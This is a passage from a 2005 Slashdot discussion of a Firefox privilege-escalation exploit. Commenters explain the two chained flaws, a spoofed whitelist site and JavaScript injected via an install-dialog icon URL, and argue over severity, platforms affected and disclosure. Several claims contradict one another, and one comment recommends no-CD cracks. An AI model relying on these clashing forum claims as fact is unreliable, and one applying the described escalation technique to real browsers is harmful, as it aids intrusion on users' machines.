      Firefox extensions (and a lot of the browser) are written in JavaScript. Extensions (and the browser) are trusted. They can do things like manage cookies and cached files. I wrote a Firefox extension that opens a TCP connection on port 2628 to an arbitrary server. I don't know the full extent of what a trusted script can do, but it is probably as much as the OS allows your user account to do. The ability to do this is what makes Firefox attractive as an application development platform--you get access to lots of cross-platform utilities and you have more power than HTML.

      On the other hand, scripts in a Web page are NOT trusted. These scripts are run in a sandbox. They can't create files or open up sockets. But sometimes an untrusted script can trick Firefox into trusting it, and that's a critical bug. By design, this should never happen. But if the implementation is flawed, you can end up executing code with more privileges you want.

      Anyway, that's why scripts are allowed to write files. This doesn't say that scripts should be allowed to write files, but it is how Firefox was desiged to behave.

  114. Spelling by luna69 · · Score: 1

    Tip of the day: When submitting a story to /., remember to RUN A SPELLCHECKER FIRST.

    "summery" != "summary".

    --
    No gods, no demons, and no masters. Secular Humanism!
  115. Windows brand Firefox by zogger · · Score: 1

    This is not an integral total "Firefox" exploit. There's a BIG difference. Editors and submitters, this is another Windows exploit. Please just add that one word to any article summaries if it is appropriate. Firefox is not an operating system. If it affects all operating systems that run Firefox, swell, ignore it, but we have way too many "exploits" headlines that only affect "Windows" yet it's not deemed worthy enough to mention. Please, we all aren't running this "Windows" thing, and the headlines get crawled by search engines. It is more fair and more accurate to include the operating system first, then the application, then say "new exploit". It's not that hard to do. "A new 0 day Windows Firefox exploit has been announced"--something like that. The blame/fame/flames need to go to all the appropriate places, in the appropriate order.

    Thanks, not a complaint or troll, just a request.

    1. Re:Windows brand Firefox by davidstrauss · · Score: 1
      This is not an integral total "Firefox" exploit.

      Actually, it is. Read the rest of the threads. However, only a Windows proof of concept exploit has been released. Other OSes are vulnerable.

  116. SummAry by Anonymous Coward · · Score: 0

    It is spelled summAry not summEry

    Summery of the exploit:

  117. Re:Is this a design issue that will breed more bug by argent · · Score: 1

    In a nutshell, Firefox has the idea that some sites are privileged (namely the sites on the whitelist for installing software), it lets privileged sites have a dangerous degree of control over the user's computer, and it has at least one way for unprivileged sites to execute code in the context of a privileged site.

    I hadn't been concerned about this whitelist, because I thought all it allowed you to do was to proceed to the next dialog where you allow an install to take place... and at that point the xpi itself can be loaded and installed. But looking at this exploit it looks like the whitelist is actually at a lower level, and there are other operations that are enabled by the whitelist.

    That's a big problem because it's not designed to 'fail closed', which every security mechanism should. Fortunately, if I'm reading the code correctly, the Mozilla people should be able to fix it permanantly by deferring the granting of additional rights until after the user has approved the install.

    What are the important differences between this and Microsoft Internet Explorer?

    There's a bunch of technical differences, but the big one is social.

    Because of the particular way that Microsoft Internet Explorer is implemented, they can't back out of the underlying problem without making significant changes to the API of the MS HTML control, which would require modifying every program that used the HTML control and also required ActiveX and Active Scripting. And, perhaps more important in a way, without backing down on the whole issue of desktop/internet integration that they fought the Justice Department to a standstill over.

    Firefox doesn't have that problem. It looks like they can defer granting rights based on the whitelist until after the user has positively approved the install, then the situation gets back to the old question of users getting used to security dialogs. This one at least would never be a case of the computer "crying wolf".

  118. Disable all functionality now to feel safe. by markdowling · · Score: 1

    WTF Secunia

    All you have to do is ensure trusted sites can be, you know, *trusted*, before you add them.

    That said, Google's DNS spoof episode doesn't help in that regard.

  119. Binary Patching by Jedbro · · Score: 1

    Whatever.

    Before more people bitch and moan, Binary Patching is going to be available for Firefox 1.1

    So issues like these will only be a few kb away as apposed to 4megs (still a lot less than most of IE's updates).

    1. Re: Binary patching by Carrion · · Score: 1

      Let's hope it uses xdelta3 or similar to achieve quick and efficient binary patches as opposed to downloading whole files.
      Would be nice to make it painless even for dialup users (or US broadband users) to upgrade.

  120. Actually... by Anonymous Coward · · Score: 0

    looking at the bottom of that page, "recent exploits", I see:

    "Privilege escalation in BulletProof FTP Server v2.4.0.31"

    So I guess even the server that *claims* to be BulletProof isn't Then again, shoot BulletProof glass a couple of times in the same place, its actually not so bulletproof either, mindless a good anti-tank missle and I don't care how much buletproof glass your vehicle has.. :-P

  121. The difference is in... by Anonymous Coward · · Score: 0

    The speed of patching. Expect a patch to Firefox very, very quickly.

    Expect a patch to MSIE problems in hmm, two months, if ever.

  122. This is my interpretation of it... by MarkByers · · Score: 2, Insightful

    The two sites "update.mozilla.org" and "addons.mozilla.org" are trusted by default, and the exploit only requires these default trusted sites.

    The web page first tricks Firefox into installing a trusted extension (vulnerability 1). Then it takes advantage of an vulnerability during the install process (vulnerability 2).

    Separately these vulnerabilities are not that worrying, but combine them, and you have a problem.

    --
    I'll probably be modded down for this...
  123. I don't get it by Anonymous Coward · · Score: 0

    What am supposed to do? I click click click click click and nothing happens. Though I do have a lot more free disk space, yay!

  124. Already there. by SanityInAnarchy · · Score: 2, Insightful

    Not a full patch, but the exploit no longer works. Look at the dates in TFA:

    Exploit posted 07/05/2005
    They noticed the Mozilla fix on 08.05.2005

    IE still has multiple unpatched vulnerabilities, like it always does. Firefox gets a vulnerability and patches it the next day. I hate to call "astroturf", but the grandparent post reeks of green plastic.

    So, I dare you: try it. Try posting a trojan in an open source project. See if it ever gets accepted. See how fast it gets patched, especially once it becomes known.

    In reality, the difference is like night and day -- Firefox patched in 1 day, IE patched never.

    --
    Don't thank God, thank a doctor!
    1. Re:Already there. by cortana · · Score: 1

      Didn't mIcq get trojaned a few years ago?

      And I remember that Linux had a bad patch a while ago that changed a test into an assignment (the test was whether a process had uid 0... oops).

      That said, you are correct: the barrier is far higher. I know the Linux incident was caught before any releases were made containing the bad code.

  125. Perhaps... by MO! · · Score: 2, Informative

    Perhaps you should manually download and install a release past beta. If you've been running the same version for "all these months" then you probably don't have a version current enough to include the update code. I've been getting the update notification icon since the 1.0 release, and perhaps even one of the release candidates. I've had the update icon working on Win2000, WinXP, SuSE Linux, and for a short time on a FreeBSD box.

    --
    I AM, therefore I THINK!
  126. Patched in the future apparantly! by merc · · Score: 1

    // Update (08.05.2005) - The Mozilla Foundation patched (partially) this
    // issue on the server side by adding random letters and numbers to the
    // install function, which will prevent this exploit from working.


    --
    It's true no man is an island, but if you take a bunch of dead guys and tie 'em together, they make a good raft.
    1. Re:Patched in the future apparantly! by Shin+Chan · · Score: 0

      It's called "time zones". Google it.

      --
      Proud owner of BOT2K3 [ bot2k3.net ]
    2. Re:Patched in the future apparantly! by DoktorSeven · · Score: 1

      You are aware that some folk like to put the day ahead of the month in dates, right?

      Hint: 8 May 2005

      --
      This is a sig. Deal with it.
    3. Re:Patched in the future apparantly! by merc · · Score: 1

      Of course. You realize that some people like to make what some people refer to as a (quote) JOKE. Like the other guy (that thinks that timezones span in month increments) said, "google it".

      --
      It's true no man is an island, but if you take a bunch of dead guys and tie 'em together, they make a good raft.
  127. I hate to say it, but... by Khyber · · Score: 0

    My whitelist is totaly blank. There are NO sites allowed or trusted in my FF. So while that may be ONE possibility of exploitation, it would seem logical that in my case, this whitelist exploit is not the one I'm encountering, at all.

    --
    Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
  128. 100 million copies downloaded by cyclocommuter · · Score: 1

    Oh well, at least When the next patch (1.04) comes out Mozilla is now on target to claim 100 million copies of FireFox have been downloaded since every patch is actually a re-install of the whole thing :-)

  129. Damn... by MaDeR · · Score: 1
    ...another entry in Add/Remove Programs awaits you all.

    Will ever be this fixed? Why sometimes programmers look that fucking stupid??

    --
    What modern Obelix would say today? Of course, "Those crazy Americans!".
  130. Oh yes it will! by Anonymous Coward · · Score: 2, Informative
    Or all the windows users could just switch to Linux where this "exploit" won't do shit.

    Obviously "aichpvee" didn't RTFA:

    Additionally it has been confirmed that this exploit does not only affect Microsoft Windows users but, if the code is adapted, can also affect both MacOS and *nix operating systems running vulnerable version of Firefox. The basic problem lies within Firefox's pseudo "Active-X" mechanism designed to dynamically download executable programs.
    1. Re:Oh yes it will! by aichpvee · · Score: 1

      Read? Article? Please. You must be new here.

      --
      The Farewell Tour II
  131. actually by Anonymous Coward · · Score: 0

    Mozilla is secure by design -- IE isn't

    That's supposed to be "UNIX si secure by design -- Windows isn't." Nobody claimed Mozilla had a more secure design than IE.

  132. what the hell is an exe file? by Anonymous Coward · · Score: 0

    is that for windows?

  133. A bug, big deal by dacarr · · Score: 1

    Look, this is software. Bugs are par for the course. Let's just patch the fscking thing and get on with our lives.

    --
    This sig no verb.
  134. Thanks for the answer! by Beryllium+Sphere(tm) · · Score: 1

    In summary, then, is it fair to say that Firefox is free from drive-by installation to begin with, in general has a more restricted idea of what whitelisted sites can do, and has more design flexibility to eliminate whole classes of problem?

    1. Re:Thanks for the answer! by argent · · Score: 1

      has a more restricted idea of what whitelisted sites can do

      Hopefully, once they fix this problem. The difference is that they don't have any big technical or social issues that would keep them from doing a proper fix.

      Now I'm not going to bet one way or the other whether they'll do it or not, I've been surprised too many times... but they have the potential.

  135. FALSE! THE EXPOLIT is bogus and does not work by goombah99 · · Score: 1
    If you read to discussion on the so-called eploit then you would have read this too:
    "Aside from the fundamentally critical nature of the exploit, it is however important to note that successful exploitation requires that the site is allowed to install software (the only sites which are allowed these privileges by default are "update.mozilla.org" and "addons.mozilla.org"). ie. you need to have whitelisted the exploit site in order for the exploit to work."

    So in other words there is no exploit at all. none whatsoever. it's no more of an exploit than granting a java script installer elevated privledges or accepting a security ceritfication. Bot of those require you to acknowledge what you are doing is granting a site elevated privledges to access your local file system.

    whoop-te-doo. The only thin news worthy here is that this pathway to doing this was unintentional. But fortunately the attacker has to be someone you granted install privs to, not just any site you visit.

    this is not the security exploit you're looking for. move along.

    --
    Some drink at the fountain of knowledge. Others just gargle.
    1. Re:FALSE! THE EXPOLIT is bogus and does not work by black+mariah · · Score: 1

      You know, this kind of thing is what people have been railing against ActiveX about for years. Suddenly when it happens to something that 'we' defend it's not a vulnerability. When the same thing (a malicious program being run via user stupidity) happens on Windows or IE, all of a sudden it's arms raised in furious anger time.

      --
      'Standards' in computing only impress those who are impressed by things like 'standards'.
    2. Re:FALSE! THE EXPOLIT is bogus and does not work by pavera · · Score: 1

      You are wrong!
      You only have to have "a" site in your whitelist of which by default there are 2! There are 2 vulns here, one which allows any site to masquerade as any other site, and then the code execution vuln. Therefore, if you have the default whitelist, you are vulnerable because the code says "Here's some stuff from update.mozilla.org (using the first vuln), ok now execute it (using the second)" even though it is coming from completely unreleated site.

  136. I'm a F/OSS evangelist, you insensitive clod! by mangu · · Score: 1
    There are countless OSS projects where no one but the author ever bothers looking at the code).


    Sure, but these are the countless OSS projects which no one cares to install and run. Look up sourceforge, do you think the nearly 100000 projects there by over a million developers are all being actively used? There's a statistics lesson to be learned here: if an OSS project is good enough to be used by a significant amount of users, it will be thoroughly vetted by a significant amount of super experts.

  137. MOD UP. ONLY INFORMATIVE COMMENT TODAY. by Anonymous Coward · · Score: 0

    parent post makes all other posts look stupid.

  138. Pretty un-serious exploit by Anonymous Coward · · Score: 0

    I remember you, you're an MS astroturfer, recently caught re-using your own material across multiple posts. No, this exploit is not very serious, as only sites that users have allowed to install software can exploit this - so by default only the Mozilla updates site can exploit this.

  139. why are people still discussing this? by Anonymous Coward · · Score: 0
    I think everyone has failed to see this, taken right from the code.

    // Update (08.05.2005) - The Mozilla Foundation patched (partially) this
    // issue on the server side by adding random letters and numbers to the
    // install function, which will prevent this exploit from working.

  140. So what? by Anonymous Coward · · Score: 0
    this code will automatically create and execute a malicious batch/exe file.

    Welp, I'm safe.

  141. What a Surprise by Anyletter · · Score: 1

    Using Opera, checking Secunia right now. Hmmm, that's interesting. Firefox, extremely critical, 5 out of 16 advisories unpatched. Maybe I should check Opera. Oh, ha, 0 out of 35. Maybe I should stop paying for a browser, obviously Open is the way to go. Thanks for showing me the light. Although, quite honestly, I do like Firefox, just don't use it all that often.

  142. phew... by KillShill · · Score: 1

    thankfully i'm still using stock 1.0 firefox :)

    --
    Science : Proprietary , Knowledge : Open Source
  143. depends on many things by diegocgteleline.es · · Score: 1

    It doesn't checks all the time, but periodically. If you have a version different than the english one it won't display the update until your language's version is updated - which may take a while, for spanish it has taken more than a week some times.

  144. The underlying model has everything to do with it by Sycraft-fu · · Score: 2, Insightful

    MS has always taken a "security through obsucrity" approach. They are firm advocates of keeping things closed. They believe it is best to keep things restricted to their in house and other trusted testers. They take public commentary, but only on the end result, the process and the code is shrouded in mystery.

    So for them, it's quite consistent to want to sit on a bug until they have a patch. After all, the code isn't open so no one else can fix it, and if it's kept quiet it's much more likely no one can exploit it until a patch is released.

    Open source is the exact opposite theory, the many eyes theory. You open the entire code base to the entire world, without restriction. So anyone onw, malicious or benevolant can examine just how your stuff works. You actively encourage others to modify your work and to distribute those modifications to the world. It's all about transparancy and access.

    So in this case it's rather inconsistent to keep everything hidden from the public. They are saying "there's a problem in the code we gave you, but we aren't going to tell you what it is or where it is." That sounds a lot like the Microsoft/closed source idea to me.

    Also it's a particularly valid commentary on /. since they like to periodicly run MS bug patch stories. When these run, there are always a ton of people who slam on MS for their security record, and specificly for keeping people in the dark about the bugs until patch day.

    However when an OSS patch story breaks, some of these very same people will crow on about how wonderful open source is and how fast the bug got patched because it's open. Often, however, a little investigation reveals that the bug has been known for some time, but the devs put a lid on it while the made a fix, same as MS does.

    Now perhaps that's the proper strategy, you keep quiet about a bug until you have a fix, or until there's a demonstrated venurability in the wild. Maybe that's the best way to minimize damage. However, if that is the case, you can't hate on MS for doing it while praising Mozilla for the same thing.

  145. Linux Unaffected by Hackeron · · Score: 1

    Good think the permission system on GNU/Linux wont allow executables to execute without setting them executable manually. Its not the first time firefox exploits are reported where only Windows is vulnerable.

    Its not the browser, its the OS stupid :)

    1. Re:Linux Unaffected by Azzhole · · Score: 1

      Amen, Brother.. I aint SkeereDed ;-)~

    2. Re:Linux Unaffected by Anonymous Coward · · Score: 0

      Too bad that Firefox can do that for you. The demo exploit is Windows only, but it could easily be adapted to create the file on Linux, with execute bits set, and start it.

  146. Why no CHROOT? by freelunch · · Score: 1

    Okay.. I've asked this before (and no doubt will again):

    Please explain again why the browser does not run in an isolated chroot environment? (at least for Linux users).

    I've done a bit of work to make that happen but didn't quite get there. It needs to be a supported part of the browser install.

    It helps to run the browser as a User ID with limited permissions but that is still not as good as chroot as part of the installation design.

    1. Re:Why no CHROOT? by irq255 · · Score: 1

      How do you chroot something that you only launch non-root? I thought chroot required someone to run something as root to do it.

    2. Re:Why no CHROOT? by Anonymous Coward · · Score: 0

      The CHROOT instance must be created by root. But the applications that run within it can be run as any user ID that exists within the environment.

  147. Simple by Anonymous Coward · · Score: 0

    1) Don't allow software installs. Period.

    Steps:
    1) Download xpi whatever.
    2) Take the nic down or unplug
    3) Re-enable software install
    4) Install
    5) Disable software install
    6) Shut browser down
    7) Bring nic back up
    8) Launch browser again.

    I don't have a whitelist. I only use 2 or 3 extensions.

  148. Re:Is this a design issue that will breed more bug by Anonymous Coward · · Score: 0

    In a nutshell, Firefox has the idea that some sites are privileged (namely the sites on the whitelist for installing software), it lets privileged sites have a dangerous degree of control over the user's computer, and it has at least one way for unprivileged sites to execute code in the context of a privileged site.

    Not quite. There's two problems:

    1. Sites that are on the whitelist can install software when given permission by the user. A dialogue is displayed to solicit this permission. Sites not on the whitelist can't even get the dialogue to display. There is a flaw that effectively allows any site to assume the identity of a site of the whitelist, allowing it to display the dialogue.
    2. The installation permission dialogue has a flaw that lets arbitrary JavaScript be passed to it in place of an icon URL. This code executes with full chrome privileges (can do anything). So if you can display the permission dialogue, you can execute any code.

    The vulnerability requires exploiting both flaws. Fixing the second one (the core problem) is probably just a simple check. The first one should also be fixed as well, of course.

  149. But if the webpage isn't at *.mozilla.org... by markdowling · · Score: 1

    then how is it going to take advantage of the default? Or have they found a way of spoofing FF to think it is? Because that is not clear from TFA.

  150. The Sims 2 had this problem... by Dimensio · · Score: 1

    ...and I posted on the offical forum asking if the requirement was a result of the developers being incompetent, or malicious.
    Naturally, the result was quite a bit of flaming for my rather inflammatory opening question, so I reprhased my question asking why EA would do such a thing and oddly, every person who responded suggested that it could only be malice or incompetence.

    The Sims 2 has since been given an update that allows non-Admins to run the game.

    No game software should require admin rights. If a CD check scam requires it, then get a noCD crack. If the developers have written totally unnecessary checks to require Admin rights before running the game (Thief 3 delets system files when non-admins run it, yet making the system files read-only to non-admins makes the game run flawlessly), then find some way to circumvent. If you can't circumvent, tell the developers that you cannot in good faith trust their software to run on your computer because their asinine requirement is an indication that they are either malicious, and so you can't trust any code that they write on your computer, or they are incompetent, and so you can't trust any code that they write on your computer.

  151. Re:The underlying model has everything to do with by _Sprocket_ · · Score: 1
    Open source is the exact opposite theory, the many eyes theory. You open the entire code base to the entire world, without restriction. So anyone onw, malicious or benevolant can examine just how your stuff works. You actively encourage others to modify your work and to distribute those modifications to the world. It's all about transparancy and access.

    I'm not aware that the Mozilla Foundation has held back any code. Isn't it all there? Bugs and all? And doesn't that fall in line with the Open Source model?
    So in this case it's rather inconsistent to keep everything hidden from the public. They are saying "there's a problem in the code we gave you, but we aren't going to tell you what it is or where it is." That sounds a lot like the Microsoft/closed source idea to me.

    Don't get me wrong - I'm not supporting the Mozilla Foundation's behavior here. I personally don't agree with hiding bug reports. And if one wants to make it a point of whether they are doing the right thing or not - fine. But that wasn't the point.

    The point was a comparison of Microsoft to the Mozilla Foundation as models of proprietary and Open Source models. The fact is that IE's code is available under a very different set of rules than Mozilla's code. This is where Closed Source vs. Open Source comes in. No matter how secretive the Mozilla Foundation wants to be with their bug database, mailing list, or party invitations... the code is still there; available to all.

    Whether the Mozilla Foundation should be more open with their bug database is an issue of disclosure. After all, Microsoft could become supporters of Full Disclosure while still maintaining proprietary code.
  152. Re:The underlying model has everything to do with by Sycraft-fu · · Score: 1

    I'm just saying there's an inconsistency of ideals here. MS withholds code and monitors it's access strictly. Thus finding that they do that with bugs is not supprising. Mozilla gvies out its code freely, but seems to be done the same thing as MS with bugs. That's odd, given the code disclosure.

    The real point Iw as trying to make it don't hate on MS when they conceal code and then love Mozilla for the same thing.

  153. Re:The underlying model has everything to do with by _Sprocket_ · · Score: 1
    The real point Iw as trying to make it don't hate on MS when they conceal code and then love Mozilla for the same thing.

    Fair enough. But make sure the hypocracy really exists before you call it out.

    First, don't confuse the issues. You did so as soon as you mentioned "Open Source". This is, if anything, about the policies of Microsoft and the Mozilla Foundation (though I'm all for the question of whether Mozilla Foundation is following the spirit of Open Source or not).

    Secondly, compare apples to apples. Do a bit of legwork and see if its actually the same individuals championing Full Disclosure or some other disclosure policy depending on the developer. If this is the case (and it might be - I haven't looked myself), then you've got a point. Otherwise, you're simply observing that Slashdot is made up of differing opinions.
  154. Re:I'll switch to MS IE as it has no known serious by CPUFreak91 · · Score: 1

    Ug! I hate IE. Worst Browser on earth. Mozilla is waaay better.

    --
    All Your Base Are Belong To Us!!! chown -r us ./base
  155. Already Patched by Juiblex · · Score: 1

    The exploit was only possible because of a xpi extension hosted on mozilla web site (only default site allowed to install extensions). It has been already patched on server side, no 5MB setup needed!

  156. Windows Update Shenenigans by SeanDuggan · · Score: 1

    More annoyingly, in Windows XP, Windows Update will always try to have you run the "Express Install" where it doesn't disclose which updates it plans to install. And if that weren't enough, despite me having repeatedly clicked the "Do not send this update again," it's still trying to get me to install SP2. Bleh...

    --
    This sig has absolutely no significance and serves only to take up screen space and waste the time of the reader.